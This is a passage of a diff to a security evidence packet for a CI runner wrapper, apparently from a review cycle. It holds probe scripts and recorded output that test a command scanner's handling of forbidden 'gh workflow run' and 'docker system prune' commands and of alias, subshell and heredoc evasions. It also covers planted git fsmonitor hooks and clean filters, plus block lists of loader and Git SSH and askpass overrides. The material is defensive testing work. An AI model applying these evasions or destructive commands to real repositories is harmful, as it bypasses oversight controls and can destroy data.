"-q"], cwd=root, env=env, check=True) - (root / "source.go").write_text("package p\n", encoding="utf-8") - subprocess.run(["git", "add", "source.go"], cwd=root, env=env, check=True) - subprocess.run(["git", "-c", "user.name=probe", "-c", "user.email=probe@example.invalid", "commit", "-q", "-m", "source"], cwd=root, env=env, check=True) - marker = root / "fsmonitor-invoked" - hook = root / "fsmonitor-hook" - hook.write_text(f"#!/bin/sh\nprintf invoked > {marker}\nprintf 'builtin:fake\\n'\n", encoding="utf-8") - hook.chmod(0o700) - subprocess.run(["git", "config", "core.fsmonitor", str(hook)], cwd=root, env=env, check=True) - guarded = ["git", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "status", "--porcelain=v1", "--untracked-files=all", "--ignored=matching", "--", "."] - result = subprocess.run(guarded, cwd=root, env=env, capture_output=True, text=True, check=False) - if result.returncode != 0 or marker.exists(): - raise SystemExit("guarded status invoked configured fsmonitor hook") -print("GREEN focused packet regression: passed; all source-status/intent Git queries use core.fsmonitor=false and core.hooksPath=/dev/null with isolated config; inherited/command custom GOSUMDB/GOPROXY refused before child, reviewed trust/effective GOVERSION query and identity binding present; subprocess/os aliases and unresolved command-capable calls fail closed; no Go/live child started") -PY +audit_anchor = packet.index("def executable_shell_commands(markdown):") +audit_start = packet.rfind("source = Path(", 0, audit_anchor) +audit_end = packet.index("\nguarded, fixtures =", audit_anchor) +audit_ns = {"Path": Path, "re": re, "shlex": shlex} +exec(compile(packet[audit_start:audit_end], "", "exec"), audit_ns) +commands = list(audit_ns["executable_shell_commands"](fixture)) +if len(commands) != 1 or "python3" not in commands[0][0]: + raise SystemExit(f"executable command audit did not retain compound heredoc command: {commands!r}") + +print("GREEN 4003658071: versioned /opt/homebrew/bin/python3.12 -c command string rejected before AST/body trust; no command executed") +print("GREEN 4003658074: wrapper derives effective cgo identity from Go-selected CC plus exact reviewed command/version; compiler changes fail closed before trust") +print('GREEN 4003658080: runner=gh followed by "$runner" workflow run ci.yml rejected before denylist classification; literal printf remained safe') +print("GREEN 4003658086: inherited GOPRIVATE/GONOPROXY/GONOSUMDB rejected before first Git/Go child; reviewed empty values are pinned and effective go env checks are present") +print("GREEN 4003658097: every heredoc delimiter was queued by both scanners; later Python body was discovered and AST-rejected without execution") +PROBE ``` Recorded focused green output: ```text -GREEN focused packet regression: passed; all source-status/intent Git queries use core.fsmonitor=false and core.hooksPath=/dev/null with isolated config; inherited/command custom GOSUMDB/GOPROXY refused before child, reviewed trust/effective GOVERSION query and identity binding present; subprocess/os aliases and unresolved command-capable calls fail closed; no Go/live child started +GREEN 4003658071: versioned /opt/homebrew/bin/python3.12 -c command string rejected before AST/body trust; no command executed +GREEN 4003658074: wrapper derives effective cgo identity from Go-selected CC plus exact reviewed command/version; compiler changes fail closed before trust +GREEN 4003658080: runner=gh followed by "$runner" workflow run ci.yml rejected before denylist classification; literal printf remained safe +GREEN 4003658086: inherited GOPRIVATE/GONOPROXY/GONOSUMDB rejected before first Git/Go child; reviewed empty values are pinned and effective go env checks are present +GREEN 4003658097: every heredoc delimiter was queued by both scanners; later Python body was discovered and AST-rejected without execution ``` -The correction is packet-only and does not authorize any rerun or live -qualification. Rollback is narrow: restore only +The five probes are packet/static or synthetic-environment evidence only. No Go +test/list/body command, compiler, workflow, App/runner operation, credential +access, Docker/Lima/Keychain/launchd operation, or destructive cleanup ran. +The cgo version line is a reviewed public tool identity, not a private machine +path or a claim that a Go build ran. Exact-head Codex review of the final pushed +head, CI and maintainer live authorization remain open. + +Rollback is narrow and packet-only: restore `docs/evidence/g01-recovery-packet.md` to immutable parent -`6c55f5b67035fb1c7ac334984499cfe80d6bb86b`; preserve independent driver, -review and manual-runner state, and do not force-kill, prune or replay any -resource. The wrapper's reviewed trust values and effective identity remain -fixture/toolchain evidence only; this correction makes no hostile-code or -native macOS isolation claim. +`055a05bd9d5a9bb101e4400dd7a9236e3afd9f48`; preserve independent driver, +review and manual-runner state, and do not force-kill, prune or replay any live +resource. #### Exact review URL ledger and dispositions | Finding and immutable source | Exact review URL | Disposition and rollback evidence | |---|---|---| -| 4002895109, source `6c55f5b67035fb1c7ac334984499cfe80d6bb86b` | [discussion 4002895109](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002895109) | Reproduced configured repository `core.fsmonitor` invocation before the guard. Every wrapper-controlled source-tree, porcelain-status and intent-bit Git query now uses `core.fsmonitor=false`, `core.hooksPath=/dev/null`, `GIT_CONFIG_NOSYSTEM=1` and `/dev/null` global/system config. No hostile-code or live qualification is claimed; rollback is packet-only parent restoration. | -| 4002895114, source `6c55f5b67035fb1c7ac334984499cfe80d6bb86b` | [discussion 4002895114](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002895114) | Reproduced `subprocess as sp`, imported `run`, and imported `system` aliases accepted by the exact parent. The AST audit resolves reviewed aliases/functions and fails closed on unresolved command-capable calls/imports, while preserving the existing dynamic safe-marker rule for resolved calls. Static-only probes ran; no forbidden/live command ran. Rollback is packet-only parent restoration. | -| 4002895117, source `6c55f5b67035fb1c7ac334984499cfe80d6bb86b` | [discussion 4002895117](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002895117) | Reproduced inherited custom `GOSUMDB`/`GOPROXY` reaching the first child and the old identity using requested `GOTOOLCHAIN` only. The wrapper now requires `GOSUMDB=sum.golang.org` and `GOPROXY=https://proxy.golang.org,direct`, verifies effective `GOVERSION`/trust via bounded `go env`, and binds effective toolchain identity; existing GOCACHEPROG/GOAUTH controls remain. No Go child or live qualification ran. Rollback is packet-only parent restoration. | +| 4003658071, source `055a05bd9d5a9bb101e4400dd7a9236e3afd9f48` | [discussion 4003658071](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658071) | Reproduced the exact parent's acceptance of absolute/versioned `/opt/homebrew/bin/python3.12 -c` command strings. The shared interpreter predicate now matches versioned paths and rejects `-c` before AST/body trust; no Python command body or forbidden command ran. Rollback is packet-only parent restoration. | +| 4003658074, source `055a05bd9d5a9bb101e4400dd7a9236e3afd9f48` | [discussion 4003658074](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658074) | Reproduced constant `cgo-tools-default` reuse across synthetic compiler changes. The wrapper now queries Go-selected `CC`, resolves the reviewed `/usr/bin/clang`, verifies its exact bounded version line and binds `cgo-cc-clang-apple21.0.0`; drift fails closed before metadata/build trust, with no Go/compiler child in the probe. Rollback is packet-only parent restoration. | +| 4003658080, source `055a05bd9d5a9bb101e4400dd7a9236e3afd9f48` | [discussion 4003658080](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658080) | Reproduced `runner=gh "$runner" workflow run ci.yml` being treated as a safe literal. Unresolved or parameter-expanded executable tokens now fail closed before denylist classification while literal `printf safe` remains accepted; no shell expansion or `gh` command ran. Rollback is packet-only parent restoration. | +| 4003658086, source `055a05bd9d5a9bb101e4400dd7a9236e3afd9f48` | [discussion 4003658086](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658086) | Reproduced inherited `GOPRIVATE`, `GONOPROXY` and `GONOSUMDB` reaching the first Git child. The wrapper rejects non-empty inherited/command-prefix values, pins all three empty and verifies the effective empty values alongside `GOPROXY`/`GOSUMDB`; no Go child ran. Rollback is packet-only parent restoration. | +| 4003658097, source `055a05bd9d5a9bb101e4400dd7a9236e3afd9f48` | [discussion 4003658097](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003658097) | Reproduced the exact parent's first-heredoc-only behavior with `cat <&2; exit 1; } -[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -# g01-safe-python-heredoc: reviewed exact-parent AST fixture -/opt/homebrew/bin/python3 -I - <<'PY' -import ast -import re -import shlex -import subprocess -from pathlib import Path +| Finding | Exact red fixture and observed parent behavior | +|---|---| +| 4003926159 | `Apple clang version 21.0.0 (clang-2100.1.1.101)\nTarget: arm64-apple-darwin25.0.0\nThread model: posix\n`; the parent’s `len(cgo_version_lines) != 1` guard rejected this valid multiline banner. | +| 4003926165 | `bash <", "exec"), namespace) +Recorded exact-parent red output: -for label, body in ( - ("subprocess.getoutput", 'import subprocess\nsubprocess.getoutput("gh workflow run ci.yml")'), - ("subprocess.getstatusoutput", 'import subprocess\nsubprocess.getstatusoutput("gh workflow run ci.yml")'), - ("os.execvp", 'import os\nos.execvp("gh", ["gh", "workflow", "run", "ci.yml"])'), - ("unresolved launcher alias", 'import synthetic as launcher\nlauncher.getoutput(command)'), -): - violation = namespace["inspect_python_heredoc"](body, False) - if violation is not None: - raise SystemExit(f"red setup changed: exact parent already rejects {label}: {violation}") - print(f"RED 4003073122: exact parent accepted unresolved command-capable call {label}") +```text +RED 4003926159: exact parent rejected valid multiline clang --version fixture because it required exactly one stdout line +RED 4003926165: exact parent skipped executable bash/sh heredoc bodies containing gh workflow run and docker system prune +RED 4003926170: exact parent forwarded inherited and command-prefix GIT_EXEC_PATH/GIT_SSH_COMMAND/GIT_ASKPASS to its first Git lookup +RED 4003926177: exact parent accepted assignment alias launch = subprocess.run followed by launch([gh, workflow, run, ...]) +``` -env_s = "env -S 'gh workflow run ci.yml'" -if any( - namespace["forbidden_command"](segment) is not None - for segment in namespace["shell_token_segments"](env_s) -): - raise SystemExit("red setup changed: exact parent already rejects env -S") -print("RED 4003073128: exact parent accepted env -S operand containing gh workflow run ci.yml") +The minimal correction adds `validate_cgo_version_output` (complete stdout +<=4,096 UTF-8 bytes, <=32 lines, <=256 UTF-8 bytes per line; first-line +identity comparison; nonzero/stderr/empty/oversize/drift refusal), makes both +shell audits fail closed on every executable non-Python heredoc before body +certification, rejects the reviewed Git transport-helper set +(`GIT_EXEC_PATH`, `GIT_SSH`, `GIT_SSH_COMMAND`, `GIT_SSH_VARIANT`, +`GIT_ASKPASS`, `GIT_SSH_ASKPASS`, `GIT_PROXY_COMMAND`) before the first +Git query, and resolves assignment alias chains while leaving shadowed or +unresolved names fail-closed. Reviewed isolated Python heredoc handling and +the safe dynamic marker remain intact. -compound = "replay() { gh workflow run ci.yml; }; replay" -if any( - namespace["forbidden_command"](segment) is not None - for segment in namespace["shell_token_segments"](compound) -): - raise SystemExit("red setup changed: exact parent already rejects unsupported compound function body") -print("RED 4003073136: exact parent certified prohibited gh nested in unsupported function/brace compound syntax") -PY +The green probe read only the candidate packet, exercised pure compiler, +scanner and AST helpers, and patched both subprocess APIs around the wrapper +prefix. It ran via the reviewed isolated Python interpreter and started no +compiler, Go, Git transport helper or other live child. + +Recorded focused green output: + +```text +GREEN 4003926159: bounded multiline clang output accepted when first line matches reviewed identity; nonzero/stderr/empty/oversize/line-count/line-length/drift rejected; no compiler/Go child +GREEN 4003926165: executable bash/sh heredocs rejected before body certification (gh workflow run/docker system prune fixtures); reviewed isolated Python heredoc retained for AST inspection; no body/command ran +GREEN 4003926170: inherited and command-prefix Git transport helper overrides (GIT_EXEC_PATH/GIT_SSH/GIT_SSH_COMMAND/GIT_SSH_VARIANT/GIT_ASKPASS/GIT_SSH_ASKPASS/GIT_PROXY_COMMAND) rejected before first Git/Go child +GREEN 4003926177: assignment aliases and alias chains of subprocess.run were AST-resolved and forbidden gh/docker launchers rejected; reviewed safe dynamic Python handling retained; no command ran ``` -Recorded exact-parent red output: +The four probes are packet/static or synthetic-environment evidence only. No +compiler, Go test/list/body command, heredoc body, workflow, App/runner +operation, credential access, Docker/Lima/Keychain/launchd operation or +destructive cleanup ran. The multiline compiler banner is a reviewed public +tool identity, not a claim that `/usr/bin/clang` or a Go build ran. +Exact-head Codex review of the final pushed head, required CI and maintainer +live authorization remain open. + +Rollback is narrow and packet-only: restore +`docs/evidence/g01-recovery-packet.md` to immutable parent +`c90ebd61bc687b5e6ab0d336701b72c11140650f`; preserve independent driver, +review and manual-runner state, and do not force-kill, prune or replay any live +resource. -```text -RED 4003073122: exact parent accepted unresolved command-capable call subprocess.getoutput -RED 4003073122: exact parent accepted unresolved command-capable call subprocess.getstatusoutput -RED 4003073122: exact parent accepted unresolved command-capable call os.execvp -RED 4003073122: exact parent accepted unresolved command-capable call unresolved launcher alias -RED 4003073128: exact parent accepted env -S operand containing gh workflow run ci.yml -RED 4003073136: exact parent certified prohibited gh nested in unsupported function/brace compound syntax -``` +#### Exact review URL ledger and dispositions -#### Minimal packet correction and focused green probe +| Finding and immutable source | Exact review URL | Disposition and rollback evidence | +|---|---|---| +| 4003926159, source `c90ebd61bc687b5e6ab0d336701b72c11140650f` | [discussion 4003926159](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003926159) | Reproduced valid multiline clang output rejection. The bounded validator now compares reviewed identity to the first line and rejects nonzero/stderr/empty/oversize/line-count/line-length/drift; no compiler/Go child ran. Rollback is packet-only parent restoration. | +| 4003926165, source `c90ebd61bc687b5e6ab0d336701b72c11140650f` | [discussion 4003926165](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003926165) | Reproduced skipped `bash <&2; exit 1; } -[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -# g01-safe-python-heredoc: reviewed focused synthetic scanner argv -/opt/homebrew/bin/python3 -I - <<'PY' -import ast -import re -import shlex -from pathlib import Path +#### Exact-parent red reproduction -packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") -scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") -scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) -scanner_end = packet.index("\nmatches = []", scanner_anchor) -namespace = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} -exec(compile(packet[scanner_start:scanner_end], "", "exec"), namespace) -scanner_probe = namespace["inspect_python_heredoc"] +The red probe ran first against the immutable parent with `git show`, pure +scanner/AST and wrapper-text checks, and fake `Popen` objects. The heredoc and +alias fixtures were never executed; the child probe patched process creation +and group signaling, so no Go, compiler or live child started. -for label, body in ( - ("subprocess.getoutput", 'import subprocess\nsubprocess.getoutput("gh workflow run ci.yml")'), - ("subprocess.getstatusoutput", 'import subprocess\nsubprocess.getstatusoutput("gh workflow run ci.yml")'), - ("os.execvp", 'import os\nos.execvp("gh", ["gh", "workflow", "run", "ci.yml"])'), - ("unresolved launcher alias", 'import synthetic as launcher\nlauncher.getoutput(command)'), - ("unresolved imported launcher", 'from synthetic import getstatusoutput\ngetstatusoutput(command)'), -): - violation = scanner_probe(body, False) - if violation is None: - raise SystemExit(f"Python launcher regression: {label} was accepted") -for body in ( - 'import subprocess\nsubprocess.getoutput(command)', - 'import subprocess\nsubprocess.getstatusoutput(command)', - 'import os\nos.execvp(file, argv)', -): - if scanner_probe(body, True) is not None: - raise SystemExit(f"reviewed dynamic launcher marker rejected: {body!r}") +| Finding | Exact red fixture and observed parent behavior | +|---|---| +| 4004331157 | `/opt/homebrew/bin/python3 -I - <&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -# g01-safe-python-heredoc: reviewed exact-parent static probes /opt/homebrew/bin/python3 -I - <<'PY' import ast -import re -import shlex +import os import subprocess -import tempfile -from pathlib import Path +import sys -parent = "5f42598b94ce5339c35f55be42eb108973850d24" +parent = "4ee7c855b1e79f9478e5cf73c270731dfbf58cf7" packet = subprocess.check_output( - ["git", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True -) -heredoc_pattern = re.compile( - r"\\bpython3\\s+-I\\b[^\\n]*<<-?\\s*(['\"]?)([A-Za-z_][A-Za-z0-9_]*)\\1" -) -fixture = "python3 - <<'PY'\nimport subprocess\nsubprocess.run([\"gh\", \"workflow\", \"run\", \"ci.yml\"])\nPY" -if heredoc_pattern.search(fixture): - raise SystemExit("red setup changed: exact parent already recognized unisolated heredoc") -print("RED 4003386579: exact parent skipped python3 - << heredoc body containing subprocess.run([gh workflow run ci.yml])") - -anchor = packet.index("def forbidden_command(tokens, depth=0):") -start = packet.rfind("source = Path(", 0, anchor) -end = packet.index("\nmatches = []", anchor) -namespace = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} -exec(compile(packet[start:end], "", "exec"), namespace) -for command in ("(gh workflow run ci.yml)", "true && (gh workflow run ci.yml)"): - if any( - namespace["forbidden_command"](segment) is not None - for segment in namespace["shell_token_segments"](command) - ): - raise SystemExit(f"red setup changed: exact parent already rejects {command}") -print("RED 4003386586: exact parent certified gh workflow run inside parenthesized subshells") - -def run_git_probe(args, cwd, check=True): - return subprocess.run(args, cwd=cwd, text=True, capture_output=True, check=check) + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], + text=True, +) +start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +end = packet.index("\nPY\n}", start) +wrapper = packet[start:end] +tree = ast.parse(wrapper) +functions = { + node.name: node + for node in tree.body + if isinstance(node, ast.FunctionDef) +} -with tempfile.TemporaryDirectory() as td: - root = Path(td) - run_git_probe(["git", "init", "-q"], root) - run_git_probe(["git", "config", "user.name", "probe"], root) - run_git_probe(["git", "config", "user.email", "probe@example.invalid"], root) - run_git_probe(["git", "config", "filter.synthetic.clean", "sed 's/package q/package p/'"], root) - run_git_probe(["git", "config", "filter.synthetic.smudge", "cat"], root) - (root / ".git/info/attributes").write_text("source.go filter=synthetic\n", encoding="utf-8") - (root / "source.go").write_bytes(b"package p\n") - run_git_probe(["git", "add", "source.go"], root) - run_git_probe(["git", "commit", "-q", "-m", "source"], root) - (root / "source.go").write_bytes(b"package q\n") - status = run_git_probe( - ["git", "status", "--porcelain=v1", "--untracked-files=all", "--ignored=matching", "--", "."], - root, +# 4004742812: the exact parent captured arbitrary communicate() output. +if "capture_go_child_output" in wrapper or "go_child_output_max_bytes" in wrapper: + raise SystemExit("red setup changed: parent already has bounded output markers") +class OversizedPopen: + pid = 987654321 + returncode = 0 + def communicate(self, *args, **kwargs): + if kwargs.get("timeout") == 300: + return "x" * 1100000, "y" * 1100000 + return "", "" + def wait(self): + return self.returncode +saved_popen, saved_killpg = subprocess.Popen, os.killpg +subprocess.Popen = lambda *args, **kwargs: OversizedPopen() +os.killpg = lambda *args, **kwargs: None +try: + namespace = { + "__name__": "__main__", + "os": os, + "signal": __import__("signal"), + "subprocess": subprocess, + "label": "capture-red", + "go_child_deadline_seconds": 300, + "go_child_termination_grace_seconds": 5, + } + exec(compile(ast.Module( + body=[functions["terminate_go_child_group"], functions["run_go_child"]], + type_ignores=[], + ), "", "exec"), namespace) + result = namespace["run_go_child"]( + ["go", "env", "GOFLAGS"], cwd=".", env={}, text=True, + capture_output=True, check=False, ) - pinned = subprocess.check_output(["git", "show", "HEAD:source.go"], cwd=root) - worktree = (root / "source.go").read_bytes() - if status.stdout.strip() or pinned == worktree: - raise SystemExit("red setup changed: filter fixture did not hide byte drift") -print("RED 4003386592: exact parent status gate accepted clean filter/attributes while worktree bytes differed from pinned HEAD blob") +finally: + subprocess.Popen, os.killpg = saved_popen, saved_killpg +if len(result.stdout) <= 1048576 or len(result.stderr) <= 1048576: + raise SystemExit("red setup changed: oversized fake output was not delivered") +print( + f"RED 4004742812: exact parent {parent} accepted synthetic " + f"{len(result.stdout)}-byte stdout/{len(result.stderr)}-byte stderr without a " + "byte-limited stream before the 300s deadline" +) -launch = packet.index("/opt/homebrew/bin/python3 -I - <<'PY") -fence = packet.rfind("```sh", 0, launch) -preflight = packet[fence:launch] -if "DYLD_INSERT_LIBRARIES" in preflight or "LD_PRELOAD" in preflight: - raise SystemExit("red setup changed: exact parent already has a loader preflight") -print("RED 4003386595: exact parent launched absolute Python without rejecting inherited DYLD_INSERT_LIBRARIES/LD_PRELOAD") +# 4004742819: inherited and command-prefix GODEBUG reached the first lookup. +if "GODEBUG" in wrapper or "godebug" in wrapper.lower(): + raise SystemExit("red setup changed: parent already has a GODEBUG guard/identity") +base = [ + "probe", "1", "0" * 64, "probe", + "experiments/g01-scaleset:./livecanary", + "default+race+cgo1+cgo-cc-clang-apple21.0.0+goexperiment-none+darwin-arm64-" + "goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", + "go", "test", "-C", "experiments/g01-scaleset", "./livecanary", +] +class StopBeforeChild(Exception): + pass +def blocked_child(*args, **kwargs): + raise StopBeforeChild +saved_env, saved_argv = dict(os.environ), sys.argv +saved_check, saved_run = subprocess.check_output, subprocess.run +try: + for mode, assignment in (("inherited", None), ("command-prefix", "GODEBUG=asyncpreemptoff")): + os.environ.clear() + os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C"}) + if assignment is None: + os.environ["GODEBUG"] = "asyncpreemptoff" + sys.argv = base[:6] + ([assignment] if assignment else []) + base[6:] + subprocess.check_output, subprocess.run = blocked_child, blocked_child + try: + exec(compile(wrapper, "", "exec"), {"__name__": "__main__"}) + except StopBeforeChild: + print( + f"RED 4004742819: exact parent {parent} accepted {mode} " + "GODEBUG=asyncpreemptoff and reached its first Git lookup without refusal" + ) + except SystemExit as error: + raise SystemExit(f"red setup changed: parent refused {mode} GODEBUG: {error}") + else: + raise SystemExit(f"red setup changed: parent completed {mode} probe") +finally: + subprocess.check_output, subprocess.run = saved_check, saved_run + sys.argv = saved_argv + os.environ.clear() + os.environ.update(saved_env) + +# 4004742824: no recheck separated test-child return and JSON acceptance. +run_pos = wrapper.index("run_result = run_go_child") +json_pos = wrapper.index("validate_test_stream(run_result.stdout", run_pos) +post_child = wrapper[run_pos:json_pos] +if "recheck_reviewed_source_checkout" in post_child: + raise SystemExit("red setup changed: parent already rechecks after test child") +print( + f"RED 4004742824: exact parent {parent} has no reviewed tree/raw-byte/status/intent " + "recheck between test-child return and JSON/result acceptance" +) PY ``` Recorded exact-parent red output: ```text -RED 4003386579: exact parent skipped python3 - << heredoc body containing subprocess.run([gh workflow run ci.yml]) -RED 4003386586: exact parent certified gh workflow run inside parenthesized subshells -RED 4003386592: exact parent status gate accepted clean filter/attributes while worktree bytes differed from pinned HEAD blob -RED 4003386595: exact parent launched absolute Python without rejecting inherited DYLD_INSERT_LIBRARIES/LD_PRELOAD +RED 4004742812: exact parent 4ee7c855b1e79f9478e5cf73c270731dfbf58cf7 accepted synthetic 1100000-byte stdout/1100000-byte stderr without a byte-limited stream before the 300s deadline +RED 4004742819: exact parent 4ee7c855b1e79f9478e5cf73c270731dfbf58cf7 accepted inherited GODEBUG=asyncpreemptoff and reached its first Git lookup without refusal +RED 4004742819: exact parent 4ee7c855b1e79f9478e5cf73c270731dfbf58cf7 accepted command-prefix GODEBUG=asyncpreemptoff and reached its first Git lookup without refusal +RED 4004742824: exact parent 4ee7c855b1e79f9478e5cf73c270731dfbf58cf7 has no reviewed tree/raw-byte/status/intent recheck between test-child return and JSON/result acceptance ``` -#### Minimal packet correction and focused green probe +#### Minimal correction and focused green assertions -The minimal correction makes heredoc discovery interpreter/option-aware before -body inspection: every executable `python`, `python3` or versioned/absolute -Python heredoc is recorded, missing `-I` is a distinct fail-closed result, and -the reviewed absolute `/opt/homebrew/bin/python3` plus canonical PATH policy is -retained. The shell scanner rejects `(` / `)` subshell grouping before wrapper -stripping or executable classification while retaining the reviewed wrapper -declarations and safe `printf` brace. Source trust now compares raw worktree -bytes against `HEAD` blobs before porcelain/status, so local clean filters and -`.git/info/attributes` cannot rewrite the trust decision. Every Python launch -preflight rejects the reviewed `LD_*`/`DYLD_*` loader variables before startup, -and the wrapper removes those names from all Go-child environments. +The correction adds selector-based streaming with an 8 MiB cap on each +Go-child stdout/stderr pipe, while preserving private process-group termination +and wait cleanup on timeout, overflow, normal/nonzero return and exceptional +exit. It rejects inherited or command-prefix GODEBUG unless the reviewed value +is empty, pins that value into every Go-child environment and emits the +godebug-empty runtime identity alongside the existing build identity. It +repeats the reviewed tree, raw-byte, status and intent checks immediately after +the test child returns and before either its return code or JSON/result is +accepted. -The focused green probe reads only the candidate packet, exercises pure scanner -helpers and the raw-blob helper against temporary repositories, and performs no -Go, live, loader or forbidden-command execution: +The focused green probe uses fake Go Popen objects backed by synthetic pipes, a +synthetic temporary Git repository for the mutation witness, and patched child +boundaries. It uses a short synthetic deadline and a reduced test byte cap, so +it never waits for the reviewed 300-second deadline and starts no compiler, Go +child, test body, workflow, live operation or credential-bearing process. +This retained probe is historical source data, not a current run prescription. -```sh +```text set -euo pipefail [ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -# g01-safe-python-heredoc: reviewed focused static argv /opt/homebrew/bin/python3 -I - <<'PY' import ast import os -import re -import shlex -import stat import subprocess +import sys import tempfile +import threading from pathlib import Path packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") -scanner_anchor = packet.index("def python_heredoc_invocation(stripped):") -scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) -scanner_end = packet.index("\nmatches = []", scanner_anchor) -scanner = {"Path": Path, "ast": ast, "os": os, "re": re, "shlex": shlex} -exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner) +start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +end = packet.index("\nPY\n}", start) +wrapper = packet[start:end] +tree = ast.parse(wrapper) +functions = {node.name: node for node in tree.body if isinstance(node, ast.FunctionDef)} -fixture = ( - "```" + "sh\n" - "# g01-safe-python-heredoc: synthetic unisolated body\n" - "python3 - <<'PY'\n" - "import subprocess\n" - "subprocess.run([\"gh\", \"workflow\", \"run\", \"ci.yml\"])\n" - "PY\n" - "```" -) -records = list(scanner["python_heredoc_bodies"](fixture)) -if len(records) != 1 or records[0][3]["isolated"]: - raise SystemExit("heredoc regression: unisolated Python body was not detected") -if records[0][3]["interpreter"] != "python3": - raise SystemExit("heredoc regression: interpreter identity was not retained") -print("GREEN 4003386579: python3 - << body discovered and rejected for missing -I before AST/body trust") +# 4004742812: bounded selector capture and cleanup on every owned path. +if "go_child_output_max_bytes = 8 * 1024 * 1024" not in wrapper: + raise SystemExit("bounded capture assertion: reviewed per-stream cap missing") +capture_text = ast.unparse(functions["capture_go_child_output"]) +run_text = ast.unparse(functions["run_go_child"]) +for marker in ("selector.select", "os.read", "go_child_output_max_bytes"): + if marker not in capture_text: + raise SystemExit("bounded capture assertion: missing " + marker) +if "capture_go_child_output" not in run_text or "communicate" in run_text: + raise SystemExit("bounded capture assertion: run helper bypasses bounded capture") +if "start_new_session=True" not in run_text or "terminate_go_child_group" not in run_text: + raise SystemExit("bounded capture assertion: owned session/cleanup missing") + +ns = { + "os": os, + "selectors": __import__("selectors"), + "signal": __import__("signal"), + "subprocess": subprocess, + "time": __import__("time"), + "label": 